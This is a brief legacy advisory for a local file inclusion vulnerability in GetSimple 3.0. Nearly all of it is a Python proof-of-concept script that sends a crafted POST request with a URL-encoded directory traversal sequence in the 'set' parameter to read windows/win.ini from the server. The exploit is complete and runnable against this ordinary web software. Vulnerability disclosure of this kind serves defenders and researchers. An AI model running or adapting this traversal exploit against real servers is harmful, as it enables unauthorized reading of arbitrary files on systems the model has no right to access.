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GetSimple 3.0 Local File Inclusion

Legacy Advisories

Description

A local file inclusion vulnerability in GetSimple 3.0 can be exploited to include arbitrary files.

Proof Of Concept

import socket

host = 'localhost'
path = '/getsimple_3.0'
trav_sequence = '..%2f' * 8 + 'windows%2fwin.ini'
port = 80

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(8)

s.send('POST ' + path + '/index.php?set=' + trav_sequence + ' HTTP/1.1\r\n'
       'Host: localhost\r\n'
       'Proxy-Connection: keep-alive\r\n'
       'User-Agent: x\r\n'
       'Content-Length: 0\r\n'
       'Cache-Control: max-age=0\r\n'
       'Origin: null\r\n'
       'Content-Type: multipart/form-data; boundary=----x\r\n'
       'Accept: text/html\r\n'
       'Accept-Language: en-US,en;q=0.8\r\n'
       'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'
       '\r\n')

resp = s.recv(8192)

print resp


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